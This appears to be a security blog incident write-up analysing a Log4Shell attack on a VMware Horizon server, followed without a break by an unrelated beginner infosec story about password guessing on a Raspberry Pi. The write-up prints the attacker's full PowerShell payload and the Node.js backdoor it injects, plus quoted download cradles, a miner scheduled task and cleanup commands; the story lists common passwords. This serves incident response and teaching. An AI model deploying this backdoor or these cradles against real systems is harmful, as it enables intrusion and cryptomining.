Click on "Details" below for the last updates.

One of those days at the SOC, 2021 is almost over and the shift is flooded by alerts on the recently discovered CVE-2021-44228.

The security shift under the Christmas holidays to me should be a moment to close incidents, send some wishes to the customers and focus on the (few) alerts triggered.

Not this year...

Thanks to the "Log4shell CVEs family".    

"So it begins"

Everything began with the IDS triggering the following rule by FOX IT :

FOX-SRT – Exploit – Possible Rogue JNDI LDAP Bind to External Observed (CVE-2021-44228)

From their Gist :

Basically an internal server contacted "something" behind a public IP using the LDAP protocol on port 80; OK, pretty suspicious but we need evidence that our "something" replied with a malicious payload.

This was unfortunately indeed the case.

On the same split second another rule from the Emerging Threats ET Pro ruleset triggered:

ET ATTACK_RESPONSE Possible CVE-2021-44228 Payload via LDAPv3 Response M2

This time, with our internal server as a destination.

The situation gets scary pretty quickly and we retrieve part of the payload from our IDS; we decode it and after some magic receipts on our internal Cyberchef we are able to decode the inner payload hidden in the malicious Java class downloaded by the internal server as part of the successful exploitation.

The bad, the ugly and the payload

Turns out, it's a Powershell script:

powershell -c $path=gwmi win32_service|?{$_.Name -like "*VMBlastSG*"}|%{$_.PathName -replace '"', '' -replace "nssm.exe","lib\absg-worker.js"};$expr="req.connection.end();`r`n`t`t`t}`r`n`r`n`t`t`tif (String(req.url).includes('<REDACTED>')) {`r`n`t`t`t`ttry {`r`n`t`t`t`t`treplyError(req, res, 200, require('child_process').execSync(`r`n`t`t`t`t`t`tBuffer.from(req.headers['data'], 'base64').toString('ascii')`r`n`t`t`t`t`t).toString());`r`n`t`t`t`t}`r`n`t`t`t`tcatch (err) {`r`n`t`t`t`t`treplyError(req, res, 400, err.stderr.toString());`r`n`t`t`t`t}`r`n`t`t`t`treturn;";(Get-Content $path)|ForEach-Object {$_ -replace "req.connection.end\(\)\;", $expr}|Set-Content $path;Restart-Service -Force VMBlastSG

We go full Incident Response practically immediately and the customer is alerted, the machine is put offline and a full forensics dump is discussed at the phone while the containment plan unravels.

While we wait for the forensic image, we decide to go deeper in order to understand what the Powershell is supposed to do, so we will know what to look for if it ran on the machine.

We found two public JoeSandbox analysis:

Automated Malware Analysis Report for - Generated by Joe Sandbox

Deep Malware Analysis - Joe Sandbox Analysis Report

Joe Security LLCJoe Security LLC

Automated Malware Analysis Report for - Generated by Joe Sandbox

Deep Malware Analysis - Joe Sandbox Analysis Report

Joe Security LLCJoe Security LLC

Performed pretty recently, but they bear no information since the first part of the script looks for a service named something like "VMBlastSG" which is not present on the sandbox.

From the machine logs, we see that the service VMBlastSG indeed restarted around the time of the malicious Java class download, so it must mean that the machine was running that service and that the Powershell script was executed.

Restart-Service -Force VMBlastSG

After some string formatting, it becomes also clear that the script looks for the path of the service VMBlastSG , it replaces nssm.exe (which is the service manager used by the VMWare Horizon component) with the file absg-worker.js under the folder "lib" in the path and it stores the path in a variable.

$path=gwmi win32_service|?{$_.Name -like "*VMBlastSG*"}|%{$_.PathName -replace '"', '' -replace "nssm.exe","lib\absg-worker.js"};

So, we know that it looks for that "absg-worker.js" file, and since it restarts the service it might be to achieve persistence. This is clearly done on the second "replace" step:

(Get-Content $path)|ForEach-Object {$_ -replace "req.connection.end\(\)\;", $expr}|Set-Content $path

Where, it replaces all occurences of the function "req.connection.end()" present in the library "absg-worker.js" with what is contained in the "$expr" variable.

A (back)door to heaven

Now, since we know that the attacker was able to achieve persistence by writing something used by the VMBlastSG service, we need to understand what.

After some formatting and "beautyfying" it becomes clear that "$expr" is a Javascript snippet:

req.connection.end();
            }

if (String(req.url).includes('<REDACTED>')) {
    try {
        replyError(req, res, 200, require('child_process').execSync(
            Buffer.from(req.headers['data'],
                'base64').toString('ascii')
        ).toString());
    } catch (err) {
        replyError(req, res, 400, err.stderr.toString());
    }
    return;
}

This is what is rewritten on every occurence of the "req.connection.end()" function present in the file "absg-worker.js" located under the folder "lib" relative to the location of nssm.exe when under the path of the service VMBlastSG.

The backdoor itself is pretty simple, it provides a specific URL (the "<REDACTED>" string) where the HTTP header "data" is decoded from base64 and executed on the system.

Amazing.. now what?

Well, that's it basically for now. At the time of writing, no further evidence has been found on the forensic image of the machine. Maybe the response was so quick that the backdoor was never used.

My personal guess is that the malicious actor(s) didn't want to expose their full toolkit from the start, the backdoor installation might be part of a multi-steps exploitation where the second step will occur in some days/weeks (or is happening right now?) and will be to call the still-active backdoors to move deeper in the victims network.

One thing that needs to be mentioned is that the service VMBlastSG is part of the "Blast Secure Gateway" which is included in the "Unified Access Gateway" and it needs to be enabled to be exploited.

After analysing the forensic image I also had no evidences from all the VMWare Horizon stored on the machine:

- vminst [root]\ProgramData\VMware\logs\vminst.log{date}.log

- vmmsi [root]\ProgramData\VMware\logs\vmmsi.log{date}.log

- VMwareHorizonClient
[root]\ProgramData\VMware\logs\VMwareHorizonClient{date}.log

- VMwareHorizonClientViewClientsx64
[root]\ProgramData\VMware\logs\VMwareHorizonClient{date}ViewClientsx64.log

- events-Cluster
[root]\ProgramData\VMware\VDM\events\events-Cluster-{HOSTNAME}-{date}.log

- edbtransactions?
[root]\ProgramData\VMware\VDM\ldap\data\edb{sequence}.log (which are
binary files)

- edb [root]\ProgramData\VMware\VDM\ldap\data\edb.log (which is a binary
file)

- SecurityGateway.log [root]\ProgramData\VMware\VDM\logs\PCoIP Secure
Gateway\SecurityGateway{date}.log

- catalina [root]\Program Files\VMWare\VMWare
View\Server\broker\logs\catalina{date}.log

- error [root]\Program Files\VMWare\VMWare
View\Server\messagebus\log\error.log-{date}.old 

But maybe, you will have more luck than me; in the meantime, according to VMWare Horizon documentation:

We should have evidences of the backdoor being used in the logs of the "Web Reverse Proxy" component in the "Unified Access Gateway", which I've already required.

Post-exploitation evidences (from the Blackberry blog)

Encoding Examples

cmd /C "powershell -NonI -W Hidden -NoP -Exec Bypass -Enc <Base64 Encoded Command>

powershell.exe -Enc <Base64 Encoded Command>

Typical Download Cradle

IEX (New-Object Net.WebClient).DownloadString(‘<URL>’)

Curl Download Attempt

cmd /C "curl <URL> | bash"

Cryptocurrency Miner Download Example

powershell iex(New-Object Net.WebClient).DownloadString('hxxp://80.71.158[.]96/xms.ps1')

Scheduled Task Creation

"C:\Windows\system32\schtasks.exe" /create /F /sc minute /mo 1 /tn BrowserUpdate /tr
"C:\Windows\system32\config\systemprofile\AppData\Roaming\network02.exe --donate-level 1 -o b.oracleservice[.]top -o 198.23.214[.]117:8080 -o 51.79.175[.]139:8080 -o 167.114.114[.]169:8080 -u 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ -p x -B"

Cleanup Examples

“C:\Windows\system32\cmd.exe" /c del /f /q C:\ProgramData\Oracle\Java\java.exe”

“C:\Windows\System32\Wbem\WMIC.exe" process where "ExecutablePath like 'c:\\windows\\temp\\%'" delete

"C:\Windows\System32\Wbem\WMIC.exe" process where "ExecutablePath like 'C:\\Users\\\\AppData\\Local\\Temp\\%'" delete

"C:\Windows\system32\cmd.exe" /c del /f /q C:\ProgramData\nTNLLnvWzl\pythonhs.exe

"C:\Windows\system32\cmd.exe" /c del /f /q %tmp%\sysupdate.exe

"C:\Windows\System32\Wbem\WMIC.exe" process where "ExecutablePath like 'C:\\Users\\Administrator\\AppData\\Local\\Temp\\%'" delete

"C:\Windows\system32\schtasks.exe" /delete /tn * /F

Cobalt Strike Download Cradle

IEX ((New-Object System.Net.WebClient).DownloadString('hxxp://185.112.83[.]116:8080/drv'))

Cobalt Strike Beacon User-Agent String

Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3; .NET CLR 2.0.50727)

Attribution-bandwagon

A report from Crowdstrike gives attribution to a similar observed activity to the APT "Acquatic Panda" but VMWare and Log4shell are too juicy as target that I would think every APT group might be interested.
Blackberry attributes the attacks to the Initial Access Broker "Prophet Spider".

TLP / MITRE ATT&CK / IOCs

TLP: White, aside from the <REDACTED> string that should be TLP:GREEN

MITRE ATT&CK techniques:

• https://attack.mitre.org/techniques/T1132/001/
• https://attack.mitre.org/techniques/T1059/001/
• https://attack.mitre.org/techniques/T1574/001/
• https://attack.mitre.org/techniques/T1003/001/

Further readings and references

Further reading

• https://blogs.blackberry.com/en/2022/01/log4u-shell4me
• https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/
• https://docs.vmware.com/en/VMware-Horizon-7/7.13/horizon-architecture-planning/GUID-90C47ABC-6BC7-4A4C-A24C-B4FA19454B33.html
• https://techzone.vmware.com/resource/blast-extreme-display-protocol-vmware-horizon-7#introduction-to-vmware-blast-extreme

References

• https://digital.nhs.uk/cyber-alerts/2022/cc-4002
• https://github.com/NCSC-NL/log4shell
• https://www.joesandbox.com/analysis/546047/0/html
• https://www.joesandbox.com/index.php/analysis/912166
• https://gist.github.com/fox-srt/c8d2fa991e8bb2be1446bad18f010fcb
• https://blog.fox-it.com/2021/12/12/log4shell-reconnaissance-and-post-exploitation-network-detection/
• https://www.proofpoint.com/us/threat-insight/et-pro-ruleset

Contents

• Summary
• What you will learn
• What you will need
• Scenario
• What have I just read?

Summary

What you will learn:

• Infosec basics
• CWE / CVE
• Password guessing
• GNU Linux terminal basics
• Password setup on GNU/Linux
• SUDO
• The MOTD

What you will need

• A computer
• A GNU/Linux operating system

Scenario

Daphne, a young Infosec enthusiast buys a Raspberry Pi computer to start learning about programming. Once she unboxes it, she is greeted by a black screen asking for a login.

She has no idea of what's the username nor the password to use, but a quick look at the computer manual shows that the username is pi and the password is raspberry.

Daphne proceeds then to write pi as instructed and then she presses Enter

Now the system asks for a password; she writes raspberry and once again she proceeds to press the Enter key.

Now the manual tells her that if she's seeing this, she was able to successfully login into her new computer. Now Daphne is advised by the manual to setup a new password.

To achieve this, apparently she needs to use the "passwd" command so she writes the following into the terminal:

passwd

and she presses Enter

The system now asks her for a new password. She has to write it twice, so that the system knows that there are no typos in her password.

She used a simple password so it will be easier to remember, something like password1 should be fine.

"That's enough for today" she sighs while glancing at her wristwatch; she has other stuff to do so she'll be back on her computer another time.

She checks how to logout in the manual and leaves the computer on. Her brother, Athos, is home and she doesn't want to him to have access to her new computer!

The manual explains that the exit command is just what she needs.
Daphne writes it on the terminal and she presses Enter for the last time (at least today).
Her terminal is back as it was at the beginning, before her first login. She goes on with her afternoon homeworks.

Daphne doesn't know it, but Athos has been spying on her since she went home with this mysterious box. He knows it's a computer and he wants to access it.

He looks at the screen. "Damn it", he says quietly. He recognises a GNU/Linux login screen and he knows a username / password combination is needed.

He quickly grabs the manual on the table near the keyboard and starts browsing it.

Apparently it's a Raspberry Pi.
Athos expression becomes an evil mix of satisfaction and disgust: "It was all too easy".
He already knows what to do: use a classic one, present in almost all Raspberry Pi, pi while the same goes for the password; he unboxed so many of these little computers and he remembers it by heart: raspberry

Pressing keys on the keyboard without even looking at them he already thinks what to do once he has full control over the...

"Damn it! Login failed! Did she change the pi password ?" he mumbles to himself.

Looking at the manual, he sees that indeed the first step after the login is to change the root password. So now the question is: Which password Daphne set up for this system?

Athos doesn't have a lot of time. He quickly thinks about the easiest way under those conditions to access the system; he starts with the obvious: password guessing.

He remembers some of the worst passwords by heart, since he's used the rockyou wordlist so many times... Passwords like that are almost always worth trying:

123456
12345
123456789
password
iloveyou
princess
1234567
12345678
abc123
babygirl
monkey
lovely
654321
qwerty
111111
iloveu
000000
sunshine
chocolate
password1
soccer
....

Failed login after failed login, he begins to lose hope.

"Damn, it's usually almost always one of those!"
He starts thinking about the keyboard layout: "Is there any chance that I'm not writing what I think I'm writing?" It's difficult to tell, since the password is not shown on the terminal when typed.
To counter this, he starts writing the password in place of the username, as it's the only way to display on the screen what he's typing. Then, he deletes it, and puts pi again as the username, before typing under "password" the exact sequence of characters he just wrote.

login: qwerty

"Nice", he says as he looks at the keyboard: a standard QWERTY, which confirms that indeed no weird keyboard layout is installed.
At least not that pesky QWERTZ keyboard layout, otherwise his login would have been qwertz, even if the last key pressed was y .
He repeats the same method with his mental list of weak passwords, until finally...

Login

password1

"Bingo!" he thinks. He wants to impress his little sister and looks for a way to make her know that he was able to gain access to her computer.

"Uhmm... I know! The MOTD!"

He tries to set it up with his favourite text editor on the terminal: nano
A simple nano /etc/motd should be enough.
While he thinks about what to write, he notices something strange

Apparently the motd file is unwritable?
He feels stupid, "of course it is.. I'm not root yet!"

He quickly types sudo su since he knows that almost all Raspberry Pi Operating Systems have sudo installed and the pi user is allowed to perform super-user (or su) operations like, login as root.

Just to be sure he also uses whois to check that indeed he's root now.

He quickly writes a little message into the file /etc/motd... Something like:

Hi Daphne, you should use a stronger password! :D
Your big brother (watching you)

• Athos

"Yeah, this will do nicely", he thinks.
"With the MOTD setup, she will receive my message on the terminal next time she logs in", he chuckles.

Satisfied, he exits the terminal and leaves the computer on, with the login screen on display.

What have I just read?

First of all, welcome!

If you're confused about everything you just read, this section is for you!

In this first episode of "Daphne && Athos", our lovely couple of siblings, we explore some basics of Infosec.

Infosec , short for "Information Security" is the "art" of protecting data.

In this case, the data is everything stored on Daphne little computer that needs to be defended from Athos.

A simple measure of protection of course is a password: that's what Daphne types on her computer to "login".

A Raspberry Pi is a convenient little computer that allows people around the world to learn coding, develop small projects or  have a cheap personal computer and that's exactly Daphne's objective.

Being that convenient and widely adopted however, means also relax some security measures and the "default password" is one of them.

To be fair, even industrial systems and Enterprise appliances still have this bad habit and that's why we have CVEs.

Basically, Infosec professionals all around the world collaborate to put vulnerabilities (like a default password) into a common public database, called C.V.E. or Common Vulnerabilities and Exposures.
Every "CVE" is represented by an unique Id composed by the disclosure year and a sequence number.
Even for the default password on the Daphne's Raspberry Pi there's a CVE, specifically the CVE-2021-38759.

But that's not what Athos uses to access Daphne's data; she followed the system recommendations on changing the default password right away.

However, what Daphne did was to setup a very weak password like password1 and Athos exploited this weekness.
A weak password has no CVE since it's not specific to a system but is rather something common that happens pretty often and everywhere.
That's why it has rather a CWE assigned, or simpliy put a weakness which is defined in the CWE-521.

What Athos did while trying to guess the Raspberry password from a widely-used list of "bad passwords" is actually a technique called "Password guessing". This technique has been executed manually in our case by physically typing on a keyboard , but it could also be the result of an automated program and be called "bruteforce" when hundreds or thousands of passwords are tested every second.

Something we saw in the screenshots above and needs some explications is the GNU/Linux terminal.

Basically, this interaction method is what allows system administrators (and common people as well) around the world to perform tasks on their computer or servers.

Contrary to what most of us see on our computers every day, most of the operations are instead performed in the terminal, hidden by windows and buttons.

Some basic operations like password setup on GNU/Linux systems are pretty straightforward as Daphne experienced; some others require some attention as Athos saw when trying to modify the welcome banner or MOTD to prank Daphne.

That moment in the story touched also "sudo" or Super User DO, which is a program that allows an authorised user to perform operations usually requiring "root" privileges.

In fact, to modify the MOTD on a GNU/Linux system usually we need to be root and Athos achieved this by executing su which is a shortcut to login as Super User but prepended by "sudo" after seeing that his text editor was unable to write the MOTD configuration file (probably due to lack of permissions).

And that's basically it for this episode, if you liked it or if you have any question just let me know.

Stay tuned for more!